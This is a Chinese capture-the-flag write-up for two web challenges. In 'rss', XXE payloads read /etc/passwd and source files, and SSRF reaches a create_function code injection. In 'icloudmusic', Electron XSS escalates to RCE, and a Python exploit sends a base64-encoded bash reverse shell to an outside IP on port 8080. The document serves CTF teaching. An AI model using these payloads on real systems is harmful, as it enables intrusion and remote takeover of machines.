W&M No.1

来写写两个题的 WriteUp,rss 和 icloudmusic。

0x01. rss

知识点:

  • data:// 伪协议
  • xxe
  • 代码审计
  • SSRF

步骤:

1、打开靶机,看下功能,直接输入一个 rss,给解析出来。

同时限制了读取的域名。

2、那么这里就用 data:// 伪协议直接传数据进去试试,因为 php 对 data 的 mime type 不敏感,直接写成 baidu.com 就可以过这个 host 检测了。为了方便我这里传 base64 之后的。

参考资料:https://www.jianshu.com/p/80ce73919edb

测试没毛病。

3、别忘了 RSS 也是 XML,那么就存在 XXE 的问题,我们来试试。

参考资料:https://gist.github.com/sl4v/7b5e562f110910f85397

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
    <title>The Blog</title>
    <link>http://example.com/</link>
    <description>A blog about things</description>
    <lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
    <item>
        <title>&xxe;</title>
        <link>http://example.com</link>
        <description>a post</description>
        <author>author@example.com</author>
        <pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
    </item>
</channel>
</rss>

啊哈,出来了。

4、那么接下来就来读取站点源码试试,注意有尖括号我们需要套一下 php伪协议,转成 base64。

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]>

5、读取结果 base64 解码一下,得到 index.php 源码。

<?php
ini_set('display_errors',0);
ini_set('display_startup_erros',1);
error_reporting(E_ALL);
require_once('routes.php');

function __autoload($class_name){
    if(file_exists('./classes/'.$class_name.'.php')) {

        require_once './classes/'.$class_name.'.php';

    } else if(file_exists('./controllers/'.$class_name.'.php')) {

        require_once './controllers/'.$class_name.'.php';

    }
}

分析一下,有个 routes.php,从名字看猜测里面存了路由,然后从 classes 和 controllers 里读类名对应的文件。

6、那来看看 routes.php

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=routes.php" >]>
<?php

Route::set('index.php',function(){
    Index::createView('Index');
});

Route::set('index',function(){
    Index::createView('Index');
});

Route::set('fetch',function(){
    if(isset($_REQUEST['rss_url'])){
        Fetch::handleUrl($_REQUEST['rss_url']);
    }
});

Route::set('rss_in_order',function(){
    if(!isset($_REQUEST['rss_url']) && !isset($_REQUEST['order'])){
        Admin::createView('Admin');
    }else{
      if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
        Admin::sort($_REQUEST['rss_url'],$_REQUEST['order']);
      }else{
       echo ";(";
      }
    }
});

前面三个路由我们抓包都能看到,最后一个有点意思,限制只能 127.0.0.1 访问。

7、最终这个路由,我们来读一下 Admin 这个类试试。读 classes 文件夹下的 Admin.php 时出错,controllers 下的正常。

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./controllers/Admin.php" >]>
<?php

class Admin extends Controller{
    public static function sort($url,$order){
        $rss=file_get_contents($url);
        $rss=simplexml_load_string($rss,'SimpleXMLElement', LIBXML_NOENT);
        require_once './views/Admin.php';
    }
}

8、那么就再来读读 views 下的 Admin.php。

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./views/Admin.php" >]>
<?php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1'){
    die(';(');
}
?>
<?php include('package/header.php') ?>
<?php if(!$rss) {
    ?>
<div class="rss-head row">
    <h1>RSS解析失败</h1>
    <ul>
        <li>此网站RSS资源可能存在错误无法解析</li>
        <li>此网站RSS资源可能已经关闭</li>
        <li>此网站可能禁止PHP获取此内容</li>
        <li>可能由于来自本站的访问过多导致暂时访问限制Orz</li>
    </ul>
</div>
<?php
    exit;
};
function rss_sort_date($str){
    $time=strtotime($str);
    return date("Y年m月d日 H时i分",$time);
}
?>
<div>
<div class="rss-head row">
    <div class="col-sm-12 text-center">
        <h1><a href="<?php echo $rss->channel->link;?>" target="_blank"><?php echo $rss->channel->title;?></a></h1>
        <span style="font-size: 16px;font-style: italic;width:100%;"><?php echo $rss->channel->link;?></span>
        <p><?php echo $rss->channel->description;?></p>
        <?php

            if(isset($rss->channel->lastBuildDate)&&$rss->channel->lastBuildDate!=""){
                echo "<p> 最后更新:".rss_sort_date($rss->channel->lastBuildDate)."</p>";
            }
        ?>
    </div>
</div>
<div class="article-list" style="padding:10px">
    <?php 
    $data = [];
    foreach($rss->channel->item as $item){
        $data[] = $item;
    }
    usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
    foreach($data as $item){    
    ?>
        <article class="article">
            <h1><a href="<?php echo $item->link;?>" target="_blank"><?php echo $item->title;?></a></h1>
            <div class="content">
                <p>
                    <?php echo $item->description;?>
                </p>
            </div>
            <div class="article-info">
                <i style="margin:0px 5px"></i><?php echo rss_sort_date($item->pubDate);?>
                <i style="margin:0px 5px"></i>
                <?php
                    for($i=0;$i<count($item->category);$i++){
                        echo $item->category[$i];
                        if($i+1!=count($item->category)){
                            echo ",";
                        }
                    };
                    if(isset($item->author)&&$item->author!=""){
                ?>
                        <i class="fa fa-user" style="margin:0px 5px"></i>
                <?php
                        echo $item->author;
                    }
                ?>
            </div>
        </article>
    <?php }?>
</div>
<div class="text-center">
    免责声明:本站只提供RSS解析,解析内容与本站无关,版权归来源网站所有
</div>
</div>
</div>

<?php include('package/footer.php') ?>

分析下源码,主要是这里有意思,

usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));

看到没,直接将 $order 拼到函数体里了。那么这里我们就可以利用这里 RCE 了。

当然这里来源 IP 必须为 127.0.0.1,和上面 routes 里的对上了。

9、来利用那个 XXE 来搞个 SSRF,访问这个页面,rss_url 可以随意传个正常的,order 需要插我们要执行的恶意代码。

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/rss_in_order?rss_url=http://tech.qq.com/photo/dcpic/rss.xml&order=title.var_dump(scandir('/'))" >]>

得到返回,看到 flag 文件名。

10、读下这个文件。

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/flag_eb8ba2eb07702e69963a7d6ab8669134" >]>

11、Flag 到手~

0x02. icloudmusic

题目描述:

知识点:

  • XSS
  • Electron (XSS 到 RCE)

步骤:

1、下载客户端,打开看看。

输入歌单 ID 之后可以分享给管理员,目测 XSS。

2、查看文件包内容,将核心模块 app.assr 拉出来。

参考资料:https://jingyan.baidu.com/article/60ccbcebb2bb1264cab197b3.html

asar extract app.asar

3、打开解压之后的目录,到 src 看看。

index.html

有个 preload 到 pr.js

index.js,开了 nodeIntegration,可以在主进程的 WebView 里执行 node 语句。

main.js,获取歌单信息这里做了限制了,header 不能有单引号,title 不能超过十位,desc 不能超过 50 位。而且这个 js 是在子 WebView 里执行,相较主进程的Webview 限制就多了很多。

4、参考之前的题的 WriteUp https://github.com/imagemlt/iCloudMusic,得找基础函数来覆盖试试。在 webview 中只有 pr.js 中的函数可用,那么我们就来选个迫害对象, refreshCode 的 xhr 似乎并不能满足我们的需求–也就是跨到主进程执行 node,那迫害对象就是 play 了,其中先获取了 WebContents 的ID,然后 sendTo 发广播。

5、看了下 Electron 的文档 https://electronjs.org/docs/api/web-contents,这里有两个值得利用的地方,一个是 send,但多番实验之后不能使用,另外一个就是 hostWebContents,想想看,如果我们拿到了这个子 Webview 的 WebContents,通过 hostWebContents 这个属性拿到了主进程的 WebContents,那么我们是不是就可以享受到主进程的待遇了呢,比如…执行 node?

利用这个方法即可在 WebView 内执行 JS。

6、那么就来看一下如何拿到这个对象,我们可以看到在触发 play 函数时里面调用了 remote 模块的 getCurrentWebContents 方法,那么我们是不是可以从中拿到 WebContents 呢?

有两种办法,黑盒和白盒。

黑盒,直接覆盖所有 JS 原生函数,然后输出其接受到的对象,总有一个是我们想要的。

下面是测试 payload:

随意打开其中一段,就是将一个 JS 原生函数覆盖,然后判断参数是否有 hostWebContents 属性(有的话基本就是 WebContents 类的了),有并且有内容的话就输出。

Object.isFrozen2=Object.isFrozen;Object.isFrozen=function(...args){for(var i in args){if(args[i]){if(args[i].send !== undefined) {

console.log(args[i]);

if(args[i].hostWebContents !== undefined && args[i].hostWebContents !== null) {
  console.log("Found!!!");console.log(args[i].hostWebContents);
}

}}}return this.isFrozen2(...args);}

打开云音乐,option+command+I 打开开发者工具,再输入 view.openDevTools() 打开子 Webview 的开发者工具。

控制台粘贴 poc,回车。

然后输入 play(); 回车触发播放。

可以看到找到了!点开右边发起代码位置看看。

白盒方法:

看到 https://github.com/electron/electron/blob/7825d043f2765ddab5c1b05e49d2eb5782c8421b/lib/renderer/api/remote.js#L314,有调用到 metaToValue,再看到这个函数,250 行开始各种调用,进去这些函数看看,或者直接在页面上搜索 Object. ,就可以看到应该要覆盖哪些 JS 原生函数了。

OK,那之后我们就覆盖 Object.defineProperty 这个测试了。

重新打开云音乐(play 只能调用一次),option+command+I 打开开发者工具,再输入 view.openDevTools() 打开子 Webview 的开发者工具,控制台粘贴回车。

Object.defineProperty2=Object.defineProperty;Object.defineProperty=function(...args){for(var i in args){if(args[i]){
  console.log(args[i]);
  if(args[i].hostWebContents !== undefined) {
    if(args[i].hostWebContents.executeJavaScript !== undefined) {
        console.log("Found!!!");
        Object.defineProperty=Object.defineProperty2;
        args[i].hostWebContents.executeJavaScript("require('child_process').exec('cat /etc/passwd',(error, stdout, stderr)=>{alert(`stdout: ${stdout}`);});");
    }
  }
}}return this.defineProperty2(...args);}
play();

可以看到成功在子 WebView 里执行命令。

7、再来思考如何攻击远程机器,因为头像 header 那里过滤了单引号,无法闭合,而后面的desc 和 title 有字数限制,就考虑在后面比如在 desc 用 eval,引用前面 header 的内容来 XSS。

8、综上, 编写 EXP 如下,直接反弹 shell 到自己 vps 的 8080 端口。由于无法正常使用单引号,双引号太多无法处理,我就 base64 了一下要执行的 js。

base64之前为 require(“child_process”).exec(“bash -c ‘bash -i >& /dev/tcp/172.247.76.60/8080 0>&1′”,(error, stdout, stderr)=>{});

import json

import requests
import hashlib

session = requests.session()

code = session.get("http://112.125.26.198:9999/code.php").json()['code']
correct_code = ""

for i in range(1, 10000001):
    s = hashlib.md5(str(i).encode()).hexdigest()[0:5]
    if s == code:
        correct_code = str(i)
        break

print(correct_code)
payload = "'};eval(window.music_info.header);t={a:'"
payload_header = 'Object.defineProperty2=Object.defineProperty;Object.defineProperty=function(...args){for(var i in args){if(args[i]){if(args[i].send !== undefined) {if(args[i].hostWebContents !== undefined && args[i].hostWebContents !== null) {console.log("Found!!!");console.log(args[i].hostWebContents);args[i].hostWebContents.executeJavaScript("eval(new Buffer(`cmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWMoImJhc2ggLWMgJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTcyLjI0Ny43Ni42MC84MDgwIDA+JjEnIiwoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+e30pOw==`,`base64`).toString())");Object.defineProperty=Object.defineProperty2;}}}}return this.defineProperty2(...args);};play();'
print(payload_header)
r = session.post("http://112.125.26.198:9999/", data={'music': json.dumps({'header': payload_header, "title": "abc", 'desc': payload}), 'id': '2810583532', 'code': correct_code})
print(r.json())

9、在自己的 VPS 上监听 8080 端口。

10、运行 EXP,可以看到 shell 反弹过来了。

11、然后来看看 flag 在哪。

13、Flag 到手~